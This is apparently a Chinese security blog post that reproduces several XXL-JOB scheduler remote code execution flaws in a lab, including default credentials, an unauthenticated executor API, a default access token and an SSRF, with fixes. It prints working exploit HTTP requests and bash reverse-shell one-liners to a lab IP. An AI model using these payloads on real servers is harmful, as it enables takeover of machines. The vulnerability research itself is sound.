浅析xxl-obj分布式任务调度平台RCE漏洞

前言

在日常开发中,经常会用定时任务执行某些不紧急又非常重要的事情,例如批量结算,计算当日的订单量,当日的成本收入等。当存在大量定时任务的时候,任务的管理也会成为一个比较头痛的问题。XXL-JOB,就是一个比较成熟的开源分布式任务调度平台(大众点评的一位大佬开源的,官网:XXL开源社区,当前此项目已被各个企业广泛采用(Github Star 25.8k)。

但是 XXL-JOB 任务调度中心系统这几年被披露出存在多个后台命令执行漏洞,攻击者可以通过反弹 shell 执行任意命令,获取服务器管理权限。本文来分析、总结下 XXL-JOB 系统历史上几个 RCE 漏洞,为攻防工作积累 RCE 高危漏洞知识库。

本地环境搭建

为了方便复现漏洞,此处本地自行搭建一下 XXL-JOB 系统环境。

环境 版本信息
XXL-OBJ v2.3.1
Windows 11
IntelliJ IDEA Community Edition 2023.2.2
Java JDK 1.8(亲测高版本可能导致执行任务出错)
MySQL 8.0.35

先到 Github 下载源码,此处我选择 v2.3.1 版本(当前最新版是 v2.4.0),方便复现下文涉及的漏洞:
在这里插入图片描述
下载后解压缩如下:
在这里插入图片描述

1、初始化数据库

先安装 MySQL 数据库环境,Windows 安装参见教程:2023 年 MySQL 8.0 安装配置 最简易(保姆级)
在这里插入图片描述
需要先将 doc/db/tables_xxl_job.sql 文件导入 MySQL 创建数据库,此处我使用的 MySQL 管理工具是 dbeaver(免费且强大的数据库管理工具,不用为 Navicat 付费软件买单):
在这里插入图片描述
新建数据库 xxl-obj 后右键选择导入脚本:
在这里插入图片描述
成功创建数据库(注意是自动创建了 xxl_job 库):
在这里插入图片描述

2、搭建调度中心

调度中心就是源码中的 xxl-job-admin 工程,我们需要将其配置成自己需要的调度中心,通过该工程我们能够以图形化的方式统一管理任务调度平台上调度任务,负责触发调度执行。

我们只需手动修改调度中心配置文件地址中关于 MySQL 数据库的配置即可:

/xxl-job/xxl-job-admin/src/main/resources/application.properties

在这里插入图片描述
然后由于该工程是一个 Springboot 项目,我们只需要在 IDEA 中执行 XxlJobAdminApplication 类即可运行该工程:
在这里插入图片描述
调度中心访问地址:http://localhost:8080/xxl-job-admin (该地址执行器将会使用到,作为回调地址):
在这里插入图片描述
默认登录账号 “admin/123456”, 登录后运行界面如下图所示:
在这里插入图片描述

3、搭建出执行器

“执行器”项目:xxl-job-executor-sample-springboot,提供多种版本执行器供选择,现以 Springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器。

执行器项目的作用:

  1. 负责接收 “调度中心” 的调度并执行;
  2. 可直接部署执行器,也可以将执行器集成到现有业务项目中(可参见:分布式任务调度平台XXL-JOB搭建教程)。

阅读 官方文档 可知,SpringBoot 版本的执行器项目也是可以直接启动的(符合开箱即用的说法),此处我采用默认配置(有需求请自行修改配置,配置参数含义参见官方文档):
在这里插入图片描述
直接启动执行器项目:
在这里插入图片描述
在这里插入图片描述

至此,调度中心和执行器两侧系统均已搭建完毕。接下来便可以愉快地使用 XXL-JOB 系统的功能了,可以通过调度中心,配置定时执行任务,具体操作流程可参见下文 “后台弱口令->RCE” 章节。

XXL-JOB漏洞

如官网所述:XXL-JOB 是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。

Fofa 搜索语法:app="XXL-JOB"
在这里插入图片描述

1、后台弱口令->RCE

从官方文档可以看到,XXL-JOB 系统全版本都存在默认弱口令“admin/123456”:
在这里插入图片描述
如果管理员未修改默认密码,我们也可以通过默认口令进入调度中心管理系统,获取后台权限可以管理所有的任务管理,甚至可以执行指令,接管服务器。

使用默认口令进入后台之后,我们可以发现系统默认已配置了执行器为上述搭建的执行器服务地址(9999 端口):
在这里插入图片描述
为了实现 RCE,我们选择 “任务管理 - 新增” 填写以下信息,运行模式使用 GLUE(Java) (此处我是 Windows11 系统搭建的执行器系统,故选择 Java 进行弹计算器的命令执行演示,当然此处也可以选择其他语言来执行命令,XXL-JOB 的标准 RESTful API 支持多语言,如果是 Linux 服务器可以选择 GLUE(Shell )语言反弹 Shell),其他随意选项,符合规则即可:
在这里插入图片描述

接下来右键编辑任务,选择 “GLUE IDE”,插入待执行的脚本命令:
在这里插入图片描述
在这里插入图片描述

此处我是 Windows11 系统搭建的执行器系统,故选择 Java 进行弹计算器的命令执行演示:

Runtime runtime = Runtime.getRuntime();
runtime.exec("cmd /c calc");

然后开始执行任务:
在这里插入图片描述
可以看到命令已被成功执行:
在这里插入图片描述

【补充】对应 XXL-JOB 服务器属于 Linux 系统的话,反弹 Shell 请选择 GLUE(Shell),然后在 “GLUE IDE” 添加任务脚本:

#!/bin/bash
bash -c 'exec bash -i >& /dev/tcp/192.168.0.126/6666 0>&1'

综上可以看到,XXL-JOB 后台管理系统由于存在任务管理功能,可执行管理员指定的脚本和指令,故在弱口令(或者存在下文将提及的未授权访问漏洞)的情况下,可被攻击者接管服务器。

2、未授权API->RCE

XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。但是 2020 年 10 月,XXL-JOB <= 2.2.0 版本被各大云厂商报出存在远程执行漏洞,其 executor 端默认没有配置认证,未授权的攻击者可以通过 RESTful API 执行任意命令,如下是 阿里云的漏洞预警
在这里插入图片描述
有意思的是该开源软件的作者在及时修复该漏洞的同时,还专门发文“澄清”此漏洞不是“漏洞”……参见:XXL JOB 未授权访问致远程命令执行 “漏洞” 声明

按照软件作者许雪里所述,该漏洞的根因在于:
在这里插入图片描述

我们通过 Vulhub 提供的 Docker 环境来复现该漏洞:
在这里插入图片描述
可以看到 admin 管理端映射了 8080 端口,executor 执行器客户端映射了 9999 端口,同时开启了 Mysql 数据库服务:
在这里插入图片描述
但尴尬的是 Vulhub 并未提供完整的可视化界面:
在这里插入图片描述
在这里插入图片描述
但是不影响漏洞利用,物理机中直接调用 executor 执行器客户端 /run 接口,传递如下 glueSource 参数,反弹 Shell:

POST /run HTTP/1.1
Host: 192.168.0.122:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "bash -i >& /dev/tcp/192.168.0.126/6666 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

在这里插入图片描述
Kali Linux 成功获得 Shell:
在这里插入图片描述
从官方文档可以看到该未授权 API:/run 的详细参数含义:
在这里插入图片描述
作者针对该问题,提供的几种安全防护策略:

  1. 开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可;
  2. 端口防护:及时更换默认的执行器端口,不建议直接将默认的 9999 端口开放到公网;
  3. 端口访问限制:通过配置安全组限制只允许指定 IP 才能访问执行器 9999 端口。

3、默认accessToken

该漏洞信息源于 微步在线X情报社区 发布的漏洞公告:
在这里插入图片描述

在这里插入图片描述
简单来说就是,XXL-JOB <= 2.4.0 版本在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

此处我搭建的 XXL-JOB 本地环境是 v2.3.1 版本,可以看到源码提供的默认配置如下:
在这里插入图片描述
加粗样式
此参数的 官方文档解释 如下:
在这里插入图片描述
当前 v2.3.1 版本默认配置参数 xxl.job.accessToken=default_token,不知道作者为什么会给了个默认值,翻看之前的版本xxl.job.accessToken都默认为空,直到 v2.3.1 版本后才出现默认值。

而此漏洞也正是xxl.job.accessToken配置项的该默认值引起的,因为该参数属于会话令牌,此默认配置相当于为执行器系统提供了默认会话凭证:
在这里插入图片描述
故可在未具备任何权限的情况下,发送以下报文执行任意命令如下:
在这里插入图片描述
在这里插入图片描述
此处我用的是 Python 脚本执行 ping dnslog 服务的命令,完整报文附上如下:

POST /run HTTP/1.1
Host: 192.168.0.121:9999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Content-Length: 393

{
   
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_PYTHON",
  "glueSource": "import os\nos.system('ping 5rpm7j.dnslog.cn')",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

反弹 Shell 获得 RCE 同理,简单修改代码即可。

漏洞修复方案

官方提供的修复方案:修改调度中心和执行器配置项 xxl.job.accessToken 的默认值,注意要设置相同的值(访问令牌(AccessToken)官方说明)。
在这里插入图片描述
xxl.job.accessToken 使用随机 AccessToken,或者不易被猜解的值。

4、CVE-2022-36157

在 XXL-JOB 的官方版本发布信息可以看到,v2.4.0 修复了两个 CVE 漏洞:
在这里插入图片描述
我们先来说第一个漏洞 CVE-2022-36157
在这里插入图片描述
看描述是一个很简单的垂直越权漏洞,我们来基于 v2.3.1 版本快速复现一下。

1、创建普通用户:
在这里插入图片描述
2、可以发现默认只有以下 4 个功能的访问权限:
在这里插入图片描述
3、手动添加 API 路径/xxl-job-admin/jobgroup,可以看到第五个功能“执行器管理(执行器管理)”,甚至可以编辑它!
在这里插入图片描述
漏洞修复
在这里插入图片描述
此漏洞仅仅是垂直越权漏洞,非 RCE,价值不是很高。

5、SSRF漏洞->RCE

最后说一下 CVE-2022-43183 ,即 XXL-JOB 系统的 SSRF 高危漏洞:
在这里插入图片描述
也是 v2.3.1 版本的,从 https://github.com/xuxueli/xxl-job/issues/3002 可以获得漏洞的进一步信息:
在这里插入图片描述
同步下信息:

xxl-job =< 2.3.1版本(最新版本)存在SSRF漏洞,导致低权限用户控制executor执行任意命令。

XXL-JOB 2.3.1的 xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java中存在 SSRF 漏洞,该漏洞源自于/logDetailCat,直接向 executorAddress 指定的地址发送查询日志请求,而不判断 executorAddress 参数是否为有效的执行器地址,而/logDetailCat接口调用只需平台低权限用户即可。由于查询请求中会带有 XXL-JOB-ACCESS-TOKEN,导致XXL-JOB-ACCESS-TOKEN泄露,然后攻击者获取XXL-JOB-ACCESS-TOKEN并调用任意执行器,导致攻击者可以执行任意命令。

漏洞描述得很清晰了,我们来定位下代码看看是不是真的存在 SSRF 漏洞:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
漏洞复现步骤看着很简单:

  1. 本地搭建一个 http 服务器,打印 http 请求头日志;
  2. 创建普通用户 Normal,没有任何 executor 权限;
  3. 使用普通用户调用 /xxl-job-admin/joblog/logDetailCat 接口时,将输入参数 executorAddress 设置为步骤1 中的 http 服务器地址,将直接打印 XXL-JOB-ACCESS-TOKEN 在目标服务器上;
  4. 低权限用户接下来即可拿着 XXL-JOB-ACCESS-TOKEN ,按照上一章节 CVE-2022-36157 的利用报文一样给执行器发送恶意任务,实现任意代码执行。

然而本人复现失败,有知情大佬请留言赐教谢谢:
在这里插入图片描述
完整报文信息:

POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: 192.168.0.121:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/xxl-job-admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: xxljob_adminlte_settings=on; XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2274657374222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

{
   
  "executorAddress": "http://192.168.0.121:6666/,
  "triggerTime": 1586699003758,
  "logId": 111,
  "fromLineNum": 2
}

HTTP/1.1 200 
Content-Type: application/json;charset=utf-8
Content-Length: 281
Date: Thu, 28 Dec 2023 16:16:10 GMT
Connection: close

{
   "code":500,"msg":"java.lang.IllegalStateException: Optional long parameter 'triggerTime' is present but cannot be translated into a null value due to being declared as a primitive type. Consider declaring it as object wrapper for the corresponding primitive type.","content":null}

总结

本文总结分析了 XXL-JOB 分布式任务调度平台这几年出现的 RCE 漏洞,可以看到信息系统如果存在类似自定义脚本执行定时任务的业务功能,一旦被攻击者成功绕过登录限制或者获取到认证凭据,那么业务所在的服务器将面临任意代码执行漏洞导致服务器被接管的风险。日常攻防实战中,也应重点关注此类业务功能是否存在任意代码执行导致 RCE 漏洞。

另外 XXL-JOB 在更早期的版本( <=2.0.2,2019 年 4 月 20 日发布)还出现过反序列化漏洞,漏洞利用涉及 JNDI 注入,后面会单独总结分析此类反序列漏洞和利用手段,本文先不展开。有兴趣的读者请参考: xxl-job api未授权Hessian2反序列化老曲新唱之XXL-JOB未授权Hessian2反序列化调试分析

最后,XXL-JOB 作为开源的 SpringBoot 项目广泛被各大企业采用,安全研究人员也可以将其作为 Java 代码审计实战训练的项目,挖掘出来的漏洞必然也具有一定业界影响力。

本文参考资料:

  1. XXL开源社区
  2. XXL-JOB executor 未授权访问漏洞
  3. xxl-job弱口令登录后台RCE复现;
  4. xxl-job =< 2.3.1版本存在SSRF漏洞
  5. xxl-job api未授权Hessian2反序列化

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-29 09:38:06       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-29 09:38:06       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-29 09:38:06       82 阅读
  4. Python语言-面向对象

    2023-12-29 09:38:06       91 阅读

热门阅读

  1. axios如何在vue中使用

    2023-12-29 09:38:06       53 阅读
  2. 基于技能的简历:求职的战略方法

    2023-12-29 09:38:06       65 阅读
  3. 在简历中评价和体现技能水平的最佳方式

    2023-12-29 09:38:06       59 阅读
  4. vue3面试题

    2023-12-29 09:38:06       48 阅读
  5. (Qt) 预编译头文件precompile_header

    2023-12-29 09:38:06       53 阅读
  6. 短剧风吹到游戏:网易、完美世界前赴后继

    2023-12-29 09:38:06       52 阅读
  7. Tor网络-洋葱网络(匿名通信的网络)学习记录-简介

    2023-12-29 09:38:06       176 阅读
  8. c# 纤程 FiberTaskScheduler

    2023-12-29 09:38:06       49 阅读
  9. elementui 表单校验validate不起效果

    2023-12-29 09:38:06       62 阅读
  10. react 为什么要重构架构

    2023-12-29 09:38:06       54 阅读